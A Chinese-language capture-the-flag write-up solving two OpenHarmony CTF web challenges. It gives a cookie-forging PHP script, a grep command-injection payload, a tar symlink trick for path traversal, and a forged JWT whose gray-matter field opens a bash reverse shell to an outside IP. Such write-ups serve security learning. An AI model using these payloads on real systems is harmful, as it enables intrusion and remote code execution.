openharmony ctf
openharmony ctf
web1
其实就是打的逻辑漏洞 php的但是卡了很久在那个.htaccess后面发现是没啥用的来看
登录框处弱口令 user password123

爆破二级目录 secrettttts得到 token.txt
发现鉴权脚本 生成auth_token:
<?php
// 生成有效 auth_token 的脚本
$CONFIG = [
'auth_key' => 'S3cr3tK3y!2023' // 必须与目标系统使用的相同
];
// 计算正确的哈希值
$username = 'dev';
$hash = md5($username . $CONFIG['auth_key']); // dev + S3cr3tK3y!2023
// 构建认证数据数组
$auth_data = [
'username' => $username,
'hash' => $hash
];
// 序列化并编码
$serialized = serialize($auth_data);
$cookie_value = base64_encode($serialized);
// 输出结果
echo "有效的 auth_token Cookie 值为:\n";
echo $cookie_value . "\n\n";
?>
auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
然后就可以访问日志了 通过输入发现是通过grep命令去匹配 然后可以用引号和必和符号完成注入
Poc: ";${IFS}cd${IFS}../../f;nl${IFS}f;#
web2
首先看漏洞点
@Get('index')
// @Render("admin")
renderAdmin(@Request() req, @Response() res) {
console.log(req.cookies)
const token = req.cookies.token;
if (!token) {
return res.status(401).json({ message: '未授权' });
}
try {
const decoded = this.jwtService.verify(token);
const profile = gray.stringify(gray(decoded.slogon).content, {username: decoded.username})
console.log(profile)
res.render('admin', {"info": profile});
} catch (error) {
return res.status(401).json({ message: '无效的令牌' });
}
}
可以看见
const decoded = this.jwtService.verify(token);
const profile = gray.stringify(gray(decoded.slogon).content, {username: decoded.username})
console.log(profile)
用的是gray做的渲染gray-matter漏洞,当我们可控jwt的时候即可RCE,接着看到上传以及下载
有个解压缩的功能一眼打软连接
import * as fs from 'fs';
import * as path from 'path';
import * as AdmZip from 'adm-zip';
import * as vinyl from 'vinyl'
import * as tar from 'tar'
const uploadPath = path.join('/opt/uploads');
export function createRandomFolder(): string {
const folderName = `upload_${Date.now()}`;
const folderPath = path.join(uploadPath, folderName);
fs.mkdirSync(folderPath, { recursive: true });
return folderPath;
}
export async function extractArc(filePath: string): Promise<string> {
const folderPath = createRandomFolder();
if (filePath.endsWith('.zip')) {
const zip = new AdmZip(filePath);
zip.extractAllTo(folderPath, true);
} else if (filePath.endsWith('.tar')) {
await tar.extract({file: filePath, cwd: folderPath});
} else {
throw new Error('Unsupported file type');
}
return folderPath;
}
export function downloadFile(filename: string, res: any): void {
const filePath = path.join(uploadPath, filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('File not found');
}
}
直接进行路径拼接,要是个php直接文件上传覆盖getshell了,但是这个是ts,所以瞄准下载,很明显可以进行软连接,因为只检查filename
| 1 2 3 |
ln -s / password tar cvf test1.tar password |
| 1 2 3 4 5 6 7 |
GET /download?filename=upload_1749381767703/password/proc/self/cwd/src/app.module.ts HTTP/1.1 Host: web-4d158860f7.challenge.xctf.org.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: / Referer: http://web-4d158860f7.challenge.xctf.org.cn/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 |
得到sec_y0u_nnnnever_know,现在去伪造jwtRCE即可,在最开始的代码中我们可以得知jwt需要两个值,一个是username,一个是slogon
| 1 2 3 4 |
{ "username": "admin", "slogon": "---js\n((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/8.137.148.227/4444 0>&1'"))\n---RCE" } |
|
| 1 2 3 4 5 6 7 8 |
GET /admin/index HTTP/1.1 Host: web-6cb2a0b1af.challenge.xctf.org.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwic2xvZ29uIjoiLS0tanNcbigocmVxdWlyZShcImNoaWxkX3Byb2Nlc3NcIikpLmV4ZWNTeW5jKFwiYmFzaCAtYyAnYmFzaCAtaSA-JiAvZGV2L3RjcC84LjEzNy4xNDguMjI3LzQ0NDQgMD4mMSdcIikpXG4tLS1SQ0UifQ.-tpMuevtMhY6tq39njE7ZtYxWF5n9nIkdgMqTehCHkk Accept: / Referer: http://web-6cb2a0b1af.challenge.xctf.org.cn/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 |
|
| 看这个https://su-team.cn/2025/06/09/2025-0penHarmonyCTF/ |

浙公网安备 33010602011771号